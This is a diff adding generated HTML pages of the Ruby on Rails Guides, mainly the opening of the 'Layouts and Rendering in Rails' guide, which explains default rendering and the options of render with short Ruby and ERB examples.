+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      
+
+      
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title></title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      
+
+      
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
+
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/layouts_and_rendering.html
@@ -0,0 +1,1553 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Layouts and Rendering in Rails</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Layouts and Rendering in Rails</h2>
+<p>This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:</p>
+<ul>
+	<li>Use the various rendering methods built into Rails</li>
+	<li>Create layouts with multiple content sections</li>
+	<li>Use partials to <span class="caps">DRY</span> up your views</li>
+	<li>Use nested layouts (sub-templates)</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#overview-how-the-pieces-fit-together">Overview: How the Pieces Fit Together</a></li><li><a href="#creating-responses">Creating Responses</a><ul><li><a href="#rendering-by-default-convention-over-configuration-in-action">Rendering by Default: Convention Over Configuration in Action</a></li> <li><a href="#using-render">Using <tt>render</tt></a></li> <li><a href="#using-redirect_to">Using <tt>redirect_to</tt></a></li> <li><a href="#using-head-to-build-header-only-responses">Using <tt>head</tt> To Build Header-Only Responses</a></li></ul></li><li><a href="#structuring-layouts">Structuring Layouts</a><ul><li><a href="#asset-tags">Asset Tags</a></li> <li><a href="#understanding-yield">Understanding <tt>yield</tt></a></li> <li><a href="#using-content_for">Using <tt>content_for</tt></a></li> <li><a href="#using-partials">Using Partials</a></li> <li><a href="#using-nested-layouts">Using Nested Layouts</a></li></ul></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="overview-how-the-pieces-fit-together">1 Overview: How the Pieces Fit Together</h3>
+<p>This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it&#8217;s time to send a response back to the user, the Controller hands things off to the View. It&#8217;s that handoff that is the subject of this guide.</p>
+<p>In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You&#8217;ll see all of those paths later in this guide.</p>
+<h3 id="creating-responses">2 Creating Responses</h3>
+<p>From the controller&#8217;s point of view, there are three ways to create an <span class="caps">HTTP</span> response:</p>
+<ul>
+	<li>Call <tt>render</tt> to create a full response to send back to the browser</li>
+	<li>Call <tt>redirect_to</tt> to send an <span class="caps">HTTP</span> redirect status code to the browser</li>
+	<li>Call <tt>head</tt> to create a response consisting solely of <span class="caps">HTTP</span> headers to send back to the browser</li>
+</ul>
+<p>I&#8217;ll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.</p>
+<h4 id="rendering-by-default-convention-over-configuration-in-action">2.1 Rendering by Default: Convention Over Configuration in Action</h4>
+<p>You&#8217;ve heard that Rails promotes &#8220;convention over configuration.&#8221; Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your <tt>BooksController</tt> class:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class BooksController &lt; ApplicationController
+end
+</pre>
+</div>
+</notextile>
+
+<p>And the following in your routes file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :books
+</pre>
+</div>
+</notextile>
+
+<p>And you have a view file <tt>app/views/books/index.html.erb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;h1&gt;Books are coming soon!&lt;/h1&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Rails will automatically render <tt>app/views/books/index.html.erb</tt> when you navigate to <tt>/books</tt> and you will see on your screen that &#8220;Books are coming soon!&#8221;</p>
+<p>However a coming soon screen is only minimally useful, so you will soon create your <tt>Book</tt> model and add the index action to <tt>BooksController</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class BooksController &lt; ApplicationController
+  def index
+    @books = Book.all
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Note that again, we have convention over configuration, in that there is no explicit render at the end of this index action.  The rule is that if you do not explicitly render something by the end of the controller action, rails will look for the <tt>action_name.html.erb</tt> template in the controllers view path and then render that, so in this case, Rails will render the  <tt>app/views/books/index.html.erb</tt> file.</p>
+<p>So in our view, we want to display the properties of all the books, we could do this with an <span class="caps">ERB</span> template like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;h1&gt;Listing Books&lt;/h1&gt;
+
+&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Title&lt;/th&gt;
+    &lt;th&gt;Summary&lt;/th&gt;
+    &lt;th&gt;&lt;/th&gt;
+    &lt;th&gt;&lt;/th&gt;
+    &lt;th&gt;&lt;/th&gt;
+  &lt;/tr&gt;
+
+&lt;% @books.each do |book| %&gt;
+  &lt;tr&gt;
+    &lt;td&gt;&lt;%= book.title %&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;%= book.content %&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;%= link_to 'Show', book %&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;%= link_to 'Edit', edit_book_path(book) %&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;%= link_to 'Remove', book, :confirm =&gt; 'Are you sure?', :method =&gt; :delete %&gt;&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;% end %&gt;
+&lt;/table&gt;
+
+&lt;br /&gt;
+
+&lt;%= link_to 'New book', new_book_path %&gt;
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>The actual rendering is done by subclasses of <tt>ActionView::TemplateHandlers</tt>. This guide does not dig into that process, but it&#8217;s important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are <tt>.erb</tt> for <span class="caps">ERB</span> (<span class="caps">HTML</span> with embedded Ruby), <tt>.rjs</tt> for <span class="caps">RJS</span> (javascript with embedded ruby) and <tt>.builder</tt> for Builder (<span class="caps">XML</span> generator).</p></div>
+<h4 id="using-render">2.2 Using <tt>render</tt></h4>
+<p>In most cases, the <tt>ActionController::Base#render</tt> method does the heavy lifting of rendering your application&#8217;s content for use by a browser. There are a variety of ways to customise the behaviour of <tt>render</tt>. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, <span class="caps">JSON</span>, or <span class="caps">XML</span>. You can specify the content type or <span class="caps">HTTP</span> status of the rendered response as well.</p>
+<div class='info'><p>If you want to see the exact results of a call to <tt>render</tt> without needing to inspect it in a browser, you can call <tt>render_to_string</tt>. This method takes exactly the same options as <tt>render</tt>, but it returns a string instead of sending a response back to the browser.</p></div>
+<h5 id="rendering-nothing">2.2.1 Rendering Nothing</h5>
+<p>Perhaps the simplest thing you can do with <tt>render</tt> is to render nothing at all:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :nothing =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>If you look at the response for this using Curl you will see the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ curl -i 127.0.0.1:3000/books
+HTTP/1.1 200 OK
+Connection: close
+Date: Sun, 24 Jan 2010 09:25:18 GMT
+Transfer-Encoding: chunked
+Content-Type: */*; charset=utf-8
+X-Runtime: 0.014297
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+
+
+ $
+</pre>
+</div>
+</notextile>
+
+<p>We see there is an empty response (no data after the <tt>Cache-Control</tt> line), but that Rails has set the response to 200 OK, so the request was successful.  You can set the <tt>:status</tt> options on render to change this response.  Rendering nothing can be useful for <span class="caps">AJAX</span> requests where all you want to send back to the browser is an acknowledgement that the request was completed.</p>
+<div class='info'><p>You should probably be using the <tt>head</tt> method, discussed later in this guide, instead of <tt>render :nothing</tt>. This provides additional flexibility and makes it explicit that you&#8217;re only generating <span class="caps">HTTP</span> headers.</p></div>
+<h5 id="rendering-an-action-s-view">2.2.2 Rendering an Action&#8217;s View</h5>
+<p>If you want to render the view that corresponds to a different action within the same template, you can use <tt>render</tt> with the name of the view:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def update
+  @book = Book.find(params[:id])
+    if @book.update_attributes(params[:book])
+      redirect_to(@book)
+    else
+      render &quot;edit&quot;
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>If the call to <tt>update_attributes</tt> fails, calling the <tt>update</tt> action in this controller will render the <tt>edit.html.erb</tt> template belonging to the same controller.</p>
+<p>If you prefer, you can use a symbol instead of a string to specify the action to render:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def update
+  @book = Book.find(params[:id])
+    if @book.update_attributes(params[:book])
+      redirect_to(@book)
+    else
+      render :edit
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>To be explicit, you can use <tt>render</tt> with the <tt>:action</tt> option (though this is no longer necessary in Rails 3.0):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def update
+  @book = Book.find(params[:id])
+    if @book.update_attributes(params[:book])
+      redirect_to(@book)
+    else
+      render :action =&gt; &quot;edit&quot;
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Using <tt>render</tt> with <tt>:action</tt> is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does <em>not</em> run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling <tt>render</tt>.</p></div>
+<h5 id="rendering-an-action-s-template-from-another-controller">2.2.3 Rendering an Action&#8217;s Template from Another Controller</h5>
+<p>What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with <tt>render</tt>, which accepts the full path (relative to <tt>app/views</tt>) of the template to render. For example, if you&#8217;re running code in an <tt>AdminProductsController</tt> that lives in <tt>app/controllers/admin</tt>, you can render the results of an action to a template in <tt>app/views/products</tt> this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render 'products/show'
+</pre>
+</div>
+</notextile>
+
+<p>Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the <tt>:template</tt> option (which was required on Rails 2.2 and earlier):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :template =&gt; 'products/show'
+</pre>
+</div>
+</notextile>
+
+<h5 id="rendering-an-arbitrary-file">2.2.4 Rendering an Arbitrary File</h5>
+<p>The <tt>render</tt> method can also use a view that&#8217;s entirely outside of your application (perhaps you&#8217;re sharing views between two Rails applications):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render &quot;/u/apps/warehouse_app/current/app/views/products/show&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the <tt>:file</tt> option (which was required on Rails 2.2 and earlier):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :file =&gt;
+  &quot;/u/apps/warehouse_app/current/app/views/products/show&quot;
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>:file</tt> option takes an absolute file-system path. Of course, you need to have rights to the view that you&#8217;re using to render the content.</p>
+<div class='note'><p>By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the <tt>:layout => true</tt> option.</p></div>
+<div class='info'><p>If you&#8217;re running on Microsoft Windows, you should use the <tt>:file</tt> option to render a file, because Windows filenames do not have the same format as Unix filenames.</p></div>
+<h5 id="wrapping-it-up">2.2.5 Wrapping it up</h5>
+<p>The above three methods of render (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually all variants of the same action.</p>
+<p>In fact, in the BooksController method, inside of the edit action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the <tt>edit.html.erb</tt> template in the <tt>views/books</tt> directory:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :edit
+render :action =&gt; :edit
+render 'edit'
+render 'edit.html.erb'
+render :action =&gt; 'edit'
+render :action =&gt; 'edit.html.erb'
+render 'books/edit'
+render 'books/edit.html.erb'
+render :template =&gt; 'books/edit'
+render :template =&gt; 'books/edit.html.erb'
+render '/path/to/rails/app/views/books/edit'
+render '/path/to/rails/app/views/books/edit.html.erb'
+render :file =&gt; '/path/to/rails/app/views/books/edit'
+render :file =&gt; '/path/to/rails/app/views/books/edit.html.erb'
+</pre>
+</div>
+</notextile>
+
+<p>Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.</p>
+<h5 id="using-render-with-inline">2.2.6 Using <tt>render</tt> with <tt>:inline</tt></h5>
+<p>The <tt>render</tt> method can do without a view completely, if you&#8217;re willing to use the <tt>:inline</tt> option to supply <span class="caps">ERB</span> as part of the method call. This is perfectly valid:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :inline =&gt;
+  &quot;&lt;% products.each do |p| %&gt;&lt;p&gt;&lt;%= p.name %&gt;&lt;p&gt;&lt;% end %&gt;&quot;
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>There is seldom any good reason to use this option. Mixing <span class="caps">ERB</span> into your controllers defeats the <span class="caps">MVC</span> orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.</p></div>
+<p>By default, inline rendering uses ERb. You can force it to use Builder instead with the <tt>:type</tt> option:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :inline =&gt;
+  &quot;xml.p {'Horrid coding practice!'}&quot;, :type =&gt; :builder
+</pre>
+</div>
+</notextile>
+
+<h5 id="using-render-with-update">2.2.7 Using <tt>render</tt> with <tt>:update</tt></h5>
+<p>You can also render javascript-based page updates inline using the <tt>:update</tt> option to <tt>render</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :update do |page|
+  page.replace_html 'warning', &quot;Invalid options supplied&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Placing javascript updates in your controller may seem to streamline small updates, but it defeats the <span class="caps">MVC</span> orientation of Rails and will make it harder for other developers to follow the logic of your project. We recommend using a separate rjs template instead, no matter how small the update.</p></div>
+<h5 id="rendering-text">2.2.8 Rendering Text</h5>
+<p>You can send plain text &#8211; with no markup at all &#8211; back to the browser by using the <tt>:text</tt> option to <tt>render</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :text =&gt; &quot;OK&quot;
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>Rendering pure text is most useful when you&#8217;re responding to <span class="caps">AJAX</span> or web service requests that are expecting something other than proper <span class="caps">HTML</span>.</p></div>
+<div class='note'><p>By default, if you use the <tt>:text</tt> option the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the <tt>:layout => true</tt> option.</p></div>
+<h5 id="rendering-json">2.2.9 Rendering <span class="caps">JSON</span></h5>
+<p><span class="caps">JSON</span> is a javascript data format used by many <span class="caps">AJAX</span> libraries. Rails has built-in support for converting objects to <span class="caps">JSON</span> and rendering that <span class="caps">JSON</span> back to the browser:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :json =&gt; @product
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>You don&#8217;t need to call <tt>to_json</tt> on the object that you want to render. If you use the <tt>:json</tt> option, <tt>render</tt> will automatically call <tt>to_json</tt> for you.</p></div>
+<h5 id="rendering-xml">2.2.10 Rendering <span class="caps">XML</span></h5>
+<p>Rails also has built-in support for converting objects to <span class="caps">XML</span> and rendering that <span class="caps">XML</span> back to the caller:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :xml =&gt; @product
+</pre>
+</div>
+</notextile>
+
